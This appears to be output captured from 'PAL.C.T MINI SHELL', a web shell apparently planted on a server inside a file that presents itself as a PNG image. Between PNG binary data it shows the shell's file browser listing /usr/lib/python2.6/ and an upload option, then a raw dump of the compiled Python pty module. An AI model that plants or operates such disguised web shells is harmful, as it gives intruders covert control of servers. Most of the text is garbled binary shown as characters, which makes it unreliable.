php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/
upload
files >> //usr/lib/python2.6/pty.pyo

Lc@sdZddklZddkZddkZdddgZdZdZd	ZdZd
Z	dZ
dZd
ZdZ
dZdZeedZeedZdS(sPseudo terminal utilities.i(tselectNtopenptytforktspawniiicCsOytiSWnttfj
onXt\}}t|}||fS(sdopenpty() -> (master_fd, slave_fd)
    Open a pty master/slave pair, using os.openpty() if possible.(tosRtAttributeErrortOSErrort_open_terminalt
slave_open(t	master_fdt
slave_nametslave_fd((s/usr/lib/python2.6/pty.pyRscCs_yti\}}Wnttfj
on(Xti|}ti|||fStS(smaster_open() -> (master_fd, slave_name)
    Open a pty master and return the fd, and the filename of the slave end.
    Deprecated, use openpty() instead.(RRRRtttynametcloseR(R	RR
((s/usr/lib/python2.6/pty.pytmaster_open!s

cCsyddk}Wntj
onRXy"|itidd\}}Wn!tj
o}ti|nX||fSxqdD]i}x`dD]X}d||}yti|ti}Wntij
o
qnX|d||fSWq}Wtid	dS(
slOpen pty master and return (master_fd, tty_name).
    SGI and generic BSD version, for when openpty() fails.iNiitpqrstuvwxyzPQRSTt0123456789abcdefs/dev/ptys/dev/ttysout of pty devices(tsgitImportErrort_getptyRtO_RDWRtIOErrorterrortopen(Rttty_nameR	tmsgtxtytpty_nametfd((s/usr/lib/python2.6/pty.pyR1s("
cCsti|ti}yddkl}l}Wntj
o|SXy$|||d|||dWntj
onX|S(sslave_open(tty_name) -> slave_fd
    Open the pty slave and acquire the controlling terminal, returning
    opened filedescriptor.
    Deprecated, use openpty() instead.i(tioctltI_PUSHtptemtldterm(RRRtfcntlRRRR(RtresultRR((s/usr/lib/python2.6/pty.pyRHsc	CsDyti\}}Wnttfj
onAX|tjo(ytiWqgtj
oqgXn||fSt\}}ti}|tjotiti|ti	|t
ti	|tti	|t|tjoti|nti
titti}ti|nti|||fS(sdfork() -> (pid, master_fd)
    Fork and make the child a session leader with a controlling terminal.(RtforkptyRRtCHILDtsetsidRRR
tdup2tSTDIN_FILENOt
STDOUT_FILENOt
STDERR_FILENORRR(tpidRR	Rttmp_fd((s/usr/lib/python2.6/pty.pyRZs0
	





cCs5x.|djo ti||}||}qWdS(s#Write all the data to a descriptor.tN(Rtwrite(Rtdatatn((s/usr/lib/python2.6/pty.pyt_writens
cCsti|dS(sDefault read function.i(Rtread(R((s/usr/lib/python2.6/pty.pyt_readscCsx{t|tggg\}}}||jo ||}tit|nt|jo|t}t||qqdS(sParent copy loop.
    Copies
            pty master -> standard output   (master_read)
            standard input -> pty master    (stdin_read)N(RR(RR.R)R1(R	tmaster_readt
stdin_readtrfdstwfdstxfdsR/((s/usr/lib/python2.6/pty.pyt_copys

c
Cst|tdjo
|f}nt\}}|tjoti|d|ny&tit}titd}Wnti	j
o
d}nXyt
|||Wn:ttfj
o(|oti
tti|qnXti|dS(sCreate a spawned process.R-iiN(ttypeRR%Rtexeclptttyt	tcgetattrR(tsetrawRR9RRt	tcsetattrt	TCSAFLUSHR
(targvR4R5R+R	tmodetrestore((s/usr/lib/python2.6/pty.pyRs"



(t__doc__RRR<t__all__R(R)R*R%RRRRRR1R3R9R(((s/usr/lib/python2.6/pty.pyt<module>s"					(		
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`